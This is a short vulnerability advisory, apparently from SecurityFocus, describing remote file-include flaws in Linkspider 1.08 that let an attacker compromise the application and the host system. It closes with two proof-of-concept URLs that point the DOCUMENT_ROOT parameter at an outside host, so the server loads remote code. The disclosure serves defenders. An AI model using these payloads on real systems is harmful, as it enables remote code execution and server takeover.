source: https://www.securityfocus.com/bid/30632/info

Linkspider is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Linkspider 1.08 is vulnerable; other versions may be affected as well. 

http://www.example.com/links.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com
http://www.example.com/links.inc.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com